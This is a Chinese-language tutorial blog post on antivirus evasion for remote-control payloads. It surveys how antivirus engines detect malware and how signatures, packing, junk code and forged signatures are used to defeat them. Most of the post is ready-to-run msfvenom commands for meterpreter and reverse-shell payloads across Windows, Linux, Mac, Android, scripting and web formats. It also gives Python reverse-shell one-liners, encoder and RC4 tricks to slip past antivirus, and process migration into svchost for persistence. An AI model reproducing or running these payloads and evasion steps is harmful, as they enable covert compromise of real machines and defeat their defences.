TideSec远控免杀学习一(免杀基础+msfvenom隐藏的参数)
参考链接:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg
参考资料
免杀技术有一套:https://anhkgg.com/aanti-virus/
Meterpreter免杀及对抗分析:https://www.freebuf.com/sectool/157122.html
免杀艺术:https://www.4hou.com/technology/3853.html
msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/
How to use msfvenom:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
msfvenom 使用方法简单介绍:http://www.onebug.org/testing/161.html
Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/
前言
实验主要是使用了metasploit或cobaltstrike生成的代码或程序进行免杀处理,在实验机器上安装了360全家桶和火绒进行本地测试,在https://www.virustotal.com/
上进行在线查杀。
杀毒软件的检测方式
扫描技术
扫描压缩包技术:即是对压缩包案和封装文件作分析检查的技术。
程序窜改防护:即是避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑。
修复技术:即是对恶意程序所损坏的文件进行还原
急救盘杀毒:利用空白U盘制作急救启动盘,来检测电脑病毒。
智能扫描:扫描最常用的磁盘,系统关键位置,耗时较短。
全盘扫描:扫描电脑全部磁盘,耗时较长。
勒索软件防护:保护电脑中的文件不被黑客恶意加密。
开机扫描:当电脑开机时自动进行扫描,可以扫描压缩文档和可能不需要的程序
监控技术
- 内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。
- 文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警。
- 邮件监控:当发现电子邮件的附件存在病毒时进行拦截。
- 网页防护:阻止网络攻击和不安全下载。
- 行为防护:提醒用户可疑的应用程序行为。
扫描引擎
特征码扫描
机制:将扫描信息与病毒数据库(即所谓的“病毒特征库”)进行对照,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。杀毒软件在进行查杀的时候,会挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码;在病毒样本中,抽取特征代码;抽取的代码比较特殊,不大可能与普通正常程序代码吻合;抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。
特征码类别:
1.文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);
2.内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码
优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。
缺点:采用病毒特征代码法的检测工具,面对不断出现的新病毒,必须不断更新病毒库的版本,否则检测工具便会老化,逐渐失去实用价值;病毒特征代码法对从未见过的新病毒,无法知道其特征代码,因而无法去检测新病毒;病毒特征码如果没有经过充分的检验,可能会出现误报,数据误删,系统破坏,给用户带来麻烦。
文件校验和法
对文件进行扫描后,可以将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染病毒。
进程行为监测法(沙盒模式)
机制:通过对病毒多年的观察、研究,有一些行为是病毒的共同行为,而且比较特殊,在正常程序中,这些行为比较罕见。当程序运行时,监视其进程的各种行为,如果发现了病毒行为,立即报警。
优缺点:
1.优点:可发现未知病毒、可相当准确地预报未知的多数病毒;
2.缺点:可能误报警、不能识别病毒名称、有一定实现难度、需要更多的用户参与判断;
主动防御技术
主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,并根据预先设定的规则,判定是否应该进行清除操作 主动防御本来想领先于病毒,让杀毒软件自己变成安全工程师来分析病毒,从而达到以不变应万变的境界。但是,计算机的智能总是在一系列的规则下诞生,而普通用户的技术水平达不到专业分析病毒的水平,两者之间的博弈将主动防御推上一个尴尬境地。
机器学习识别技术
机器学习识别技术既可以做静态样本的二进制分析,又可以运用在沙箱动态行为分析当中,是为内容/行为+算法模式。伴随着深度学习的急速发展,各家厂商也开始尝试运用深度学习技术来识别病毒特征,如瀚思科技的基于深度学习的二进制恶意样本检测
免杀技术介绍
1.修改特征码
免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。
特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串
就目前的反病毒技术来讲,更改特征码从而达到免杀的效果事实上包含着两种方式。
一种是改特征码,这也是免杀的最初方法。例如一个文件在某一个地址内有“灰鸽子上线成功!”这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了,如果是无关痛痒的,直接将其删掉也未尝不可。
第二种是针对目前推出的校验和查杀技术提出的免杀思想,它的原理虽然仍是特征码,但是已经脱离纯粹意义上特征码的概念,不过万变不离其宗。其实校验和也是根据病毒文件中与众不同的区块计算出来的,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。所以如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。
2.花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
大多数反病毒软件是靠特征码来判断文件是否有毒的,而为了提高精度,现在的特征码都是在一定偏移量限制之内的,否则会对反病毒软件的效率产生严重的影响!而在黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。
3.加壳免杀
说起软件加壳,简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,最后运行程序。这样一来,在我们看来,似乎加壳之后的程序并没有什么变化,然而它却达到了加密的目的,这就是壳的作用。
加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。
4.内存免杀
CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
因为杀毒软件的内存扫描原理与硬盘上的文件扫描原理都是一样的,都是通过特征码比对的,只不过为了制造迷惑性,大多数反病毒公司的内存扫描与文件扫描采用的不是同一套特征码,这就导致了一个病毒木马同时拥有两套特征码,必须要将它们全部破坏掉才能躲过反病毒软件的查杀。
因此,除了加壳外,黑客们对抗反病毒软件的基本思路没变。而对于加壳,只要加一个会混淆程序原有代码的“猛”壳,其实还是能躲过杀毒软件的查杀的。
5.二次编译
metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的。
而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
6.分离免杀
侯亮大神和倾旋大神都分别提到过payload分离免杀和webshell分离免杀,采用分离法,即将ShellCode和加载器分离。网上各种加载器代码也有很多,各种语言实现的都很容易找到,虽然看起来比较简单,但效果却是不错的。比如侯亮大神提到的shellcode_launcher,加载c代码,基本没有能查杀的AV。
7.资源修改
有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。
加资源、使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
- 替换资源、使用ResHacker替换无用的资源(Version等)。
加签名、使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
msfvenom简介
msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。
常规参数
部分参数解读
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
比如想查看windows/meterpreter/reverse_tcp
支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options
使用msfvenom --list payloads
可查看所有payloads
使用msfvenom --list encoders
可查看所有编码器
以看到评级最高的两个encoder为cmd/powershell_base64
和x86/shikata_ga_nai
,其中x86/shikata_ga_nai
也是免杀中使用频率最高的一个编码器了。
类似可用msfvenom --list
命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats
。
几个重要的监听参数
防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后继续监听端口,保持侦听。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
handler后台持续监听
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z
可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K
可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
payload的可持续化
一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate
进行。
其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
生成的shell程序执行后会启动两个进程shell.exe
和svchost.exe
,关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe
不是system32
目录下的。
在上面的生成payload参数中:
(1)PrependMigrate=true PrependMigrateProc=svchost.exe
使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。
(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。
绕过杀软
这是green-m
大佬提到的一种方式,使用reverse_https等payload时可以使用下列方法bypass部分杀软。
生成payload:msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c
在msf中进行如下设置,将控制端向被控制端发送的stage进行编码
msf exploit(multi/handler) > set EnableStageEncoding true //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀
EnableStageEncoding => true
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
同样,使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec -f c
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。
各平台payload生成
二进制
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe
windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk
Powershell
nc正向连接
msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe
nc反向连接,监听
msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe> 1.exe
Shellcode
基于Linux的Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
基于Windows的Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c
基于Mac的Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
脚本
Python反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
Python正向shell
python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl
Lua
msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua
Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb
Web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASPX
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js
Handlers
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 10.211.55.2
set LPORT 3333
set ExitOnSession false
exploit -j -z
TideSec远控免杀学习一(免杀基础+msfvenom隐藏的参数)相关推荐
- 远控软件GHOST源码免杀
<script type="text/javascript"></script> 远控软件gh0st源码免杀 远控软件gh0st3.6开源了,开源意味着我们 ...
- TideSec远控免杀学习三(Venom+Shellter)
参考链接: 利用meterpreter下的Venom免杀后门:https://www.cnblogs.com/wh4am1/p/7469625.html 免杀后门venom :https://www. ...
- 远控免杀专题文章(2)-msfvenom隐藏的参数
本专题文章导航 1.远控免杀专题文章(1)-基础篇: 远控免杀专题文章(1)-基础篇 因为cobaltstrike生成payload比较简单,这里不再累述,只是介绍一下msfvenom的基本参数和一些 ...
- 远控软件gh0st源码免杀之我谈
远控软件gh0st3.6开源了,开源意味着我们可以在此基础上进行二次开发,同时也意味着杀软可以较容易的查杀该款远控木马,既然要利用,我们就做好源码基础上的木马免杀工作. 好久没有来博客了,我把免杀这部 ...
- “白加黑”远控木马技术分析及手杀方案
"白加黑"是民间对一种DLL劫持技术的通俗称呼,现在很多恶意程序利用这种劫持技术来绕过安全软件的主动防御以达到加载自身的目的,是目前很火的一种免杀手段.本文将针对此类病毒做了一个简 ...
- 灰鸽子远控软件使用及xuetr查杀
灰鸽子远控软件 这里靶机是2003,别的不一定管用 重新配一个 壳的左右除了减小体积,还可以对其加密 假如这个木马做了免杀,我们怎么去发现他 按进程,启动项,服务,计划任务等一个一个找 手工删除
- 免杀学习——PHP免杀
php免杀 php马作为最常用的上马方式之一,各类waf对其的防护与检测也在不断完善 相信各位在对一些网站渗透测试中碰到过传马被删或者被拦的情况,刚好最近整理了一些php免杀方法,下面来分享一下 字符 ...
- 远控免杀专题(9)-Avet免杀(VT免杀率14/71)
本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2.远控免杀专题(2)-msfvenom隐藏的参数: ...
- 远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)
声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...
最新文章
- 大牛讲堂 | 邬书哲:物体检测算法的革新与传承
- 选择 SAP Spartacus 作为 SAP Commerce Cloud Storefront 实现框架的五个理由
- 机电传动控制第一周学习笔记
- Matlab中出现“无法打开电子表格,MATLAB报告了以下错误;错误:服务器出现意外情况”
- poj3461kmp
- AI和机器学习对云计算的安全有何影响?
- mapreduce对日志数据上下行流量汇总
- HTTP 缓存机制及原理
- 女神节福利:友萌君送你~健身踏青装备
- CodeBook 可以自定义字符集的密码本
- excel表格的边框线怎么去除html,在EXCEL中如何去掉表头的边框线
- 计算机专业英文授课,计算机专业全英文授课分析
- NC 一些常用方法总结
- 有道云笔记不同步_不怕误同步 有道云笔记历史记录教程
- 高新企业认定后的条件
- python 曲线拟合(numpy.polyfit、scipy.optimize.curve_fit)
- 云计算的优势和未来发展
- 800个电子竞技设计大赛毕业设计产品开发资料
- 双边滤波产生水彩画风格
- Latex-bibliographystyle参考文献风格介绍(按照姓氏排序)
热门文章
- 【Win11尝鲜】Win 11设置任务栏图标靠左或居中显示
- c语言贝塞尔函数J1,贝塞尔函数:_j0、_j1、_jn、_y0、_y1、_yn
- 怎么从简历看候选人性格_我从拒绝设计候选人中学到的东西以及您不应该做的申请人...
- 码云,git使用 教程
- 购买计算机的作文英语,关于买电脑的英语作文
- 微信小程序怎么开发(小程序开发文档)
- 【实战】OpenCV+Python项目实战--文档扫描OCR识别
- 信息安全意识如何免费宣贯
- 如何使用slick插件(响应式轮播插件)
- libjpeg-turbo使用教程